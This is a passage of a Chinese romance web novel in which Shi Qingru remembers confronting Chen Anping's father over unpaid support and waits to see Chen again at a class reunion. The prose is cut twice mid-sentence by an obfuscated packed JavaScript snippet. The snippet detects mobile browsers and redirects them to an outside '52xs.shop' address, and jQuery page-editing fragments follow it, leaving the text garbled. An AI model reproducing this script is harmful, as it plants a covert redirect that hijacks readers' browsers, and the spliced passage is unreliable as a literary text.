施清如拧着眉头,用嗔怪的眼神望他。
陈安平怔了下,半晌露出她见得最多的那种无奈笑容,“听见了?”
施清如不吭声。
“还不是板上钉钉的事,你不用多想。”
陈安平望着走廊栏杆外的竹林,下意识用这样的话平息她的不悦。
施清如不信他的鬼话,凝视他说:“去问你爸要,他该给你的,不给就告他!”
微凉的风穿过密叶,周遭的萧萧声不像春夏,更像陈安平去长城的秋。
施清如站在陈峰居住的两层房屋下,身后骑过的电瓶车朝她鸣了两声喇叭,她侧身避让开。
十多年前,她和陈安平一起站在这里,一起被喇叭鸣。陈安平起初一直不让她跟来,架不住她像狗皮膏药似的贴上去。
来这里之前,陈安平静静凝视她,说了一句话。
“施清如,那里很脏、很旧。”
施清如看着他,“那又如何?”
躲过电瓶车的施清如抬起手,捏了捏身旁一团空气,手里空无一物,她仿佛能闻见空气里的一股霉味。
耳畔传来陈安平当年的声音。
“爸,我来找你拿抚养费的,还有之前向你借的学费。”
陈安平那时的背脊很挺,站在门前,顶天立地快顶到门框。
三十岁的施清如抬起头,那门框很高,一点也不矮,就算是陈安平也顶不到门框。也许是她的记忆出现了偏差;也许是那时自己仰头光顾着看陈安平,注意不到他头顶上方的空间。
她的目光总是太关注他。
施清如独自敲响红棕色的木门,门上的漆已经剥落大半,门把手由细小的蛛网封锁。蛛网被风吹得晃动,告诉她这一切不过是旧时的遗物。
十几年前的陈峰刚踏进四十岁的门槛,平心而论,他的模样比大部分家长都好。个高、腿长,没有啤酒肚,五官浓烈深邃,没有半点浮肿,和电视上风华刚过的明星没什么分别。
陈安平比他高一点,父子俩几乎平视着对方。
那是施清如第一次见到陈峰,此前他从未参加过家长会,都是谢莹淇拖着病躯来的,实在来不了的时候,有位远房亲戚来过一次,其余时候陈安平的那一桌总是空着。
面对开门见山的儿子,陈峰淡漠地扫了一眼他和身旁陌生的女孩。
在他身后的晦暗屋子里,有个比两孩子大不了几岁的女人,是他的新女友。陈峰年轻时候便受欢迎,老了也不减魅力。
施清如皱着脸在心里唾弃了一声。
都是男人,陈峰和王文忠有着天壤之别。她不由在心里心疼起陈安平的妈妈。
“你妈妈让你来的?”陈峰脖子上挂着条毛巾,穿着白色背心,抬眼问,“她又是谁?”
施清如刚想说话,陈安平抢先回答:“同学。”
陈峰刚醒没多久,眼皮半耷拉着,回身从屋内木头柜子上拿起皮夹,掏出十几张红票子给陈安平,“先拿去用,多的暂时没有。”
陈安平垂下眼睛,迟迟没有抬手。
施清如是急性子,受不了两个人拖拉的动作,伸手拿过那叠钱数了数。
一千八百块。
“陈先生,”她闭上眼翻了个白眼,改口,“陈爸爸,你已经欠了陈安平两年
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314047|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的抚养费,你应该也知道他妈妈如今在医院,治疗费用很高,他的学费也不低。作为他的生父,你是不是应该多负点责任?”
陈峰还没合上钱包,抬眼瞧了下施清如,嗤笑了一声:“哪儿来的丫头?我和我儿子说话,有你什么事?”
施清如愣了下,她确实逾矩了、越界了。倒不是如陈峰这句话,而是她意识到她没给陈安平说话的机会。
她看了看陈安平。
陈峰伸手要去拿回施清如手里的钱,她下意识把钱卷进胳膊里,眼睛一斜瞪过去。她那时天不怕地不怕。
陈峰脾气不是个好的,浓眉一皱,跨步出门就要抢,施清如连连后退,身高差让陈峰看起来十分唬人。
在陈峰够到她之前,陈安平跨步横在了他们之间,手一伸把施清如捞到自己身后,右手攥着她的胳膊。
陈安平这一站,把施清如挡得严严实实。
他身上还穿着蓝白校服,施清如贴在他后背,闻到他身上的栀子花香,也许是在教学楼底的栀子花丛里染上的。
她静静将额头贴在他背上,鼻尖有纸钱的油墨味和他身上的味道。
陈安平对陈峰说:“这些钱我先收下,谢谢你。方便的话,下次可以直接把钱汇到妈妈账户里,麻烦你了。”
他说话的时候,身体在起伏,脊骨在颤动。
施清如闭眼跟着他的起伏而起伏。
她把身体一半的重量都倾倒在了陈安平后背,拿着钱的手不由自主抓住了他的衣服。
像是一次她单方面对陈安平的拥抱。
陈、安、平。
施清如望着人去楼空的破旧混凝土楼房,蜘蛛从蛛网上爬过。
她烦闷地抓了抓被蚊子叮咬过的手指,咬在指缝间,最难受。转眼又到蚊子猖獗的时节。
回想起来,她那时候横冲直撞进陈安平的个人生活,他会不会是因为这个而讨厌她?不止一个人说过,她没有边界感。年轻的时候风风火火介入别人的事,有人感激,自然也有人嫌恶。
施清如从黑暗、发霉的楼道走下去,眼睛没入黑暗,又走进光明。
这个季节的温度只需要穿一件有厚度的单衣,在阳光下便感到暖和,在荫处吹风便感到寒凉。身体忽冷忽热,像刚才一颗烧红的心忽然又滚入冰窖。
陈安平讨厌她吗?
施清如从前曾笃定他喜欢她,但这份自信心早在时月里消融。
回头再次举目看向人去楼空的地方,失去人的气后,它仿佛随时能倒塌。不是没人想过要将这片拆掉重建,但整个小区都在市中心地段,拆起来需大动干戈,耗价不菲。小区里还有极少数念旧不肯挪窝的老教授和职工居住,校方不可能将他们赶走。
这地就成了嘈杂中一片宁静的密林,尘封着很多人的曾经。
施清如不知道自己还该如何找下去,去学校托人打听陈峰搬去何处?
找到陈安平之后呢?他想见她吗?
心里的惴惴不安让施清如感到陌生。
她在极少情况下才会出现这样的情绪。
沉默已久的手机忽然响起,是一则微信消息通知,接连又有了别的消息。
蒋澜:「下个月恐怕不行,我问了大部分人,最早也要六月才有时间。你怎么说?六月行吗?」
施清如坐在花坛边的砖上,晾了这条消息很久。
她有一种直觉。
直觉告诉她陈安平不会来。
她不知道自己还是否想去这个同学会。
蒋澜:「找个户外营地烧烤还是去饭店包厢吃?户外还能玩玩游戏,比饭店有趣些。」
施清如闭上眼,在蒋澜冰释前嫌的热情中打字回复。
「我都行,你安排好通知我具体的时间就好。」
她刚想收起叮叮叫个不停的手机。
赫然看见蒋澜又发来一条新信息。
「对了,我问过陈安平了,他说他会来。」
11. 011
蒋澜的电话响了。
那头是风与施清如的声音。
“你说什么?”
蒋澜拿远手机,看了眼屏幕,又贴回到耳边,“什么什么?”
施清如身上的汗毛都被风吹立了。
“陈安平会来?”
“对,他是这么回答我的。”
“你……怎么联系上他的?”
“Q/Q,微信他没回,应该是不用那个号了。”蒋澜放低声音,“施清如,我还在工作,你有什么事还是用微信给我留言吧。”
挂断电话后,施清如没再给蒋澜留言。
她没有任何想问的话了。
她捏着手机坐在花坛边,手臂挂在膝盖上,出神望着旧房。
半晌,她忽然失笑了声,用手掌抵住自己的额中,闭眼埋着头,压制不住嘴角飞扬起来的弧度。过了会儿,她深深吸了一口气,空气里的霉味像被叶片缝隙漏下来的光驱散了。施清如收起笑容,依旧低着头,渐渐弯下腰蜷缩到自己膝盖上。
视线没有焦点地落在花坛边搬迁的蚂蚁队伍中。
他会来。
闭眼回想起上一次见他,是九年前。
那时他们不过二十一岁,陈安平距离法定结婚年龄还剩下最后一年。
施清如搓了搓自己的脸颊,感受皮肤的触感。
只是一眨眼的时间,他们三十岁了。足足九年的时光,像寺庙里燃尽的香火,只剩下灰烟,最后将被铲子清扫走。
现在是四月底,距离相约之期还有一个多月的时间,说长不长,说短不短,看和什么比。和九年比起来,它算不了什么。
如今正是白玉兰落,栀子花盛的时节。
破旧小区的青墙外就有株在落花的白玉兰,只是无栀子花香。
高中时,施清如最喜欢的不是情侣幽会的竹林,而是教学楼底的栀子花丛。
成华中学的栀子花种得很密,繁星一样的白花开在翠绿的叶上。它的香气是清冷、淡雅的,却不谦恭,聚在一起浓烈地入侵人的身体。但它不刺鼻、不甜腻,随清风浮来的香气令人动容。
她的高中回忆总伴有栀子花的香气,那香也是陈安平的味道。
“陈安平,周六我想去KTV为十佳歌手练习,但是一个人包一间房太亏了,雨灵要去补习班,你能不能来陪我呀?”
“我……”
“别废话,你就说你会不会来?唱完歌我陪你一起去浙二看阿姨。”
陈安平静默许久,“我会来。”
“陈安平,我想去银泰买衣服、吃日料,你来不来陪我?”
“……来。”
“陈安平,周末一起去图书馆自习吧!我上次语文考了116,英语也进步了,可把周大头高兴坏了,你再给我补习点英语吧,这次月考我想进年级前三十,不,是前二十!你来吗?”
“好,我来。”
施清如知道十次中有九次,他都不是百分百的心甘情愿,但陈安平从来不会食言,他言出必行。
去图书馆那天,施清如为了抢最好的座位提前一小时便抵达,坐下不多时,窗外就下起了暴雨,雨丝横飘,树都折了腰。
她家就在这附近,陈安平家离得远,她想当然觉得他不会来了,在Q/Q上给他发信息,也没有得到回应。约定的时间过去一刻钟,她彻底打消希望,自顾自埋头苦读。
做了半张卷子,施清如抬起头伸懒腰,忽然怔住,舒展的手臂都来不及收回。
只见陈安平湿淋淋地朝她走来,灰色卫衣上只剩下不到20%的面积未被淋湿。他将书包护在胸口,额前碎发滴着水,一直流到他眼睛里。
这个图书馆不算安静,周末有很多大叔大姨带孩子来,时不时会有些尖叫声,紧接着是旁人的呵斥声。比起图书馆,它更像是一个市民活动中心,供老百姓休息、打发时间。
在这些窸窸窣窣声中,陡然响起一个极轻却清晰的声音。
“我来了。”
陈安平的嗓音温和、沙哑,涤荡施清如身上的困意。
她匆匆起身,把书包里所有纸巾往他身上覆,把他按在座位上,强迫他接受她的擦拭。
陈安平的头发很短,为了方便打理,从不留长刘海,摸上去总是刺刺的。但被雨水打湿后,这些刺不约而同变得极为柔软,乖巧地随她摆弄。
她玩得起劲,忘了自己的初衷,直到陈安平无可奈何抓住了她的手腕,抬眸轻声道:“可以了。”
湿漉漉的眼睛,好像浓雾弥漫森林中出现的麋鹿,长着最野蛮、壮丽的鹿角,像不会生芽开花的枯枝。
施清如看得有些恍惚,指背无意识地抚到他冰凉的脸颊上,沾着潮气,像晨露。
陈安平的身体震了下,往后仰了一寸,离开她的触碰。施清如也回过神,看着他松开自己的手腕,蓦地笑了。她抽了张新纸巾,不温柔地拍到他额头上。
“闭眼。”
她用气声说。
陈安平没反应,用上目线看着她。
她歪了歪脑袋,凑到他耳朵边,“给你擦眼睛上的雨水,又不是要亲你,扭捏什么?”
说完她立即退开,想欣赏陈安平的表情变化,结果大失所望,他只是面无波澜地闭上了眼。施清如哼了声。
纤长的睫毛,白皙干净的皮肤,陈安平眼睛的弧度也很好看,像两颗杏核。眉骨高高,嵌着眼睛,脸的轮廓硬朗。陈安平的嘴唇不是其他男同学那种深玫色,要淡一些,看着更清爽。他的嘴唇形状长得极好,有厚度有弧度,看起来柔软好亲。整个人英气又清透。
施清如耳边回荡自己才说过的话。
她是想亲上去。
“怎么不擦了?”
陈安平睁眼,深沉注视她。
施清如撇了撇嘴,快速给他擦干净,故意没有把纸屑从他脸上拿下来。
她坐下,把卷子递到他面前,圈了几道一知半解的题目请教他。听了一半,她忽然问:“你怎么过来的?”
“坐公车。”
“没带伞?”
“嗯。”
施清如早上出门的时候天色不错,看着不像会下雨的模样,陈安平大抵也这么以为。她知道图书馆最近的公交车站在三百米外,他肯定是跑过来的。
她淡淡感慨了一句:“这样的天气,我还以为你不会来了。”
陈安平默了片刻,“我说过我会来的。”
施清如侧头,扬起唇角看他,用指尖挑了挑他的下巴,轻笑道:“陈同学挺讲信用,真不错。”
他低头拂开她不像话的手,用没有打开盖子的水笔敲了敲卷面,“还要不要补习了?”
“要。”
施清如笑笑,身体往他那边靠过去,肩头碰肩头,占尽他便宜。
陈安平说了他会来,他就一定会来。
他就是这样的人。
-
五月降临,施琴仍在为施清如张罗相亲的事。
她听了朋友的危言耸听,认为三十岁还没有对象对女人来说是灾难。
但她也知道施清如吃软不吃硬,只能旁敲侧击地软磨硬泡,希望她能再去见见新的男人,向她保证这次的不是老腊肉,是比她小一岁的程序员。
施清如盘腿坐在沙发上啃苹果,笑盈盈告诉施琴:“等我六月去见过一个人之后再说。”
“见人?”施琴疑惑,“谁?”
“一个……”她顿了顿,找不准形容词,“总之是一个人。”
“为什么要见过他之后再决定?”
施清如起身去扔苹果核,没有正面回答:“反正我现在就是不想相亲,我相了这么多个,没有一个看对眼的。妈,你就让我歇歇吧,别衬得我多恨嫁似的。”
“哎你这孩子,你要是才二十五岁我就不急了!”
施清如转了个圈,抱住施琴,嬉皮笑脸道:“你女儿三十也是一枝花。”
“快去洗手,”施琴拍了下她黏糊糊的手,“你最近心情挺不错的?”
施清如打开水龙头,看镜中的自己,“还可以。”
“发生什么好事了?”
“妈,我是不是有点太瘦了?和高中、大学的时候比。”
她答非所问。
“没有啊,你现在的身材刚刚好,年轻女孩子不都是在追求苗条?”
施清如抬头挺胸撅了下屁股,做作得像要去拍衣服广告的模特,“也不是越苗条越好,还是得追求健康。”
“啪!”
施琴在施清如屁股上用力拍了下,咯咯笑起来。
“妈你干嘛,痛!”
“我怎么生了个自恋狂?”
施清如边揉屁股边拍马屁,“我遗传了你的美貌,还不能自恋一下?”
“油嘴滑舌。”
施琴被她哄得可开心,对镜开始整理头发。
回到房间,一切又安静得像凌晨时分。
施清如打开游戏浅玩了一个小时,修了几张照片,看了二十页散文集。
注意力跳跃在不同事上,无法集中。
电脑停留在Q/Q页面上,她的手里摊着那本旧时的备忘录。
上面记着陈安平的Q/Q号。
施清如在想要不要申请加他好友。
但当初是她删掉他的,这样会不会显得她挺没自尊?
这么一件小事,她已经犹豫了足足半个月,半点不像平时雷厉风行的她。
终于下定决心,她输入陈安平的号码。
他的头像没变过,还是高中时就用的一张网图。
一幅水彩画。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315601|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一只白猫卷着身体躺在三叶草坪中睡觉。
好不惬意。
填写验证信息。
「我是施清如。」
打完字又删掉。
「陈安平,我是施清如,加一下。」
不行。
「陈安平,和好吧?」
太奇怪。
施清如烦躁地仰头对天花板嚎叫了一声,一头栽进被窝中蠕动起来。
她还记得她第一次加陈安平时是这么写的。
「陈安平你好,我是隔壁班的施清如,我和同学玩真心话大冒险,赌你会不会同意加我。帮我一个忙吧。」
陈安平心软,同意了。
加上她之后,他发来第一句话是:「大冒险通过了吗?」
施清如那时躺在家里,看着他的消息在床上笑成拧了几圈的麻花,仿佛看见了陈安平一本正经的脸。
之后他们没有在Q/Q上说过话,直到分到同一个班级后。
三十岁的施清如想了想,删删改改一行字,终于发送出去。
「陈安平,我是施清如。你结婚了吗?」
她打算等他通过好友申请后,再告诉他这只是一次大冒险。
-
五月底,在浙大留校当老师的大学同学朱岩给施清如带来一个消息。
“陈峰搬去滨江了,用他爸妈早年的拆迁款贷款买的房,现在条件怪好的嘞。”
施清如正在敷面膜,沉默聆听,没有太多表情。
“我把小区名字和他的电话号码发给你,具体地址不太好说。”朱岩问她,“你找他做什么?你和他有关系?他早几年二婚了,第二任老婆比他年轻十几岁呢。”
“你有他前妻的消息吗?”
九年。
施清如在这九年里也曾装作不经意地探听过谢莹淇的消息,知道她从浙二解放路院区转院了。以前她和陈安平租的房子也不住了,房东出国,把房卖了,母子两个人只能另寻他处。
陈安平六年前去英国了,想必生活条件比高中时有了极大提升,谢莹淇没准已经康复,随儿子去英国生活享清福。
“前妻?我听老职工提到过几句,姓谢,特别温柔但身体不太好的那个?”
“嗯。”
“没听到什么消息。要不我再帮你打听打听?”
施清如撕下面膜,皮肤水润地反着光,“麻烦你了,尽量不要惊动陈峰。”
“没问题,你平时也不麻烦我什么,倒是之前我女儿读幼儿园的事你还帮了我大忙,你这点小忙我肯定是要帮你的。”
施清如笑了笑,“谢谢啊。你女儿最近怎么样?”
“可皮了,前段时间……”
电脑屏幕亮着荧光。
施清如均匀呼吸着,听朱岩描述他的幸福生活。柴米油盐酱醋茶,还有小孩的烦心事,但他一边抱怨,一边流露出笑意,乐在其中。
这是施清如曾经构想的三十岁。
在计划中,她和陈安平两情相悦,在二十二岁时结婚,二十五岁左右生一个孩子,三十岁孩子在上幼儿园,她和陈安平继续没羞没臊。
不过从第一步开始就错了。
也许从来没有两情相悦。
同学会的时间敲定下来后,施清如就没有再点开过陈安平的青青网主页。
回忆是令人上瘾的毒药,带着朦胧柔光的滤镜,美化每一段留有遗憾的过往。
她原本对陈安平是有怨气的,像沼泽上冒出的咕噜咕噜绿泡。但回忆和那些她第一次见到的陈安平照片,在她脑海里打了一个响指,轻而易举又诡异地消解了这浓烈的怨。
施清如觉得自己也许把陈安平这人想得太好了,也许她那些看似清晰的美好记忆,都是因为她的执念作祟。就像言静说的那只机械怀表,匆匆回到马德里将它买回来,却发现它其实不如记忆中初次见到时美妙。
施清如不希望在真正见到三十岁的陈安平之前,让自己陷得太深。她可以对陈安平表白三次,是因为她觉得陈安平值得,是因为她觉得陈安平只是害羞,需要她来捅破最后一层纱。
但不代表她愿意没自尊地伏到他面前去。
她暂时没法让自己百分百停止对陈安平的怀念,她可以在独自一人时选择清醒地沉沦,
——但在他面前,她不会再那样做。
施清如推开半扇窗户,让晚风吹拂树叶的声音闯入,伴随几声青蛙的鸣叫。马上就要是知了扯嗓歌唱的季节,她该珍惜眼下夜里的温和。
看着窗下路灯,她甚至有一点希望——希望出现在同学会的陈安平是一个大腹便便、地中海,泯然众人矣的男人。
如若这样,最多不过是会让施清如有一种青春喂了狗的反胃感。
总好过像吃了酸枣般念念不忘。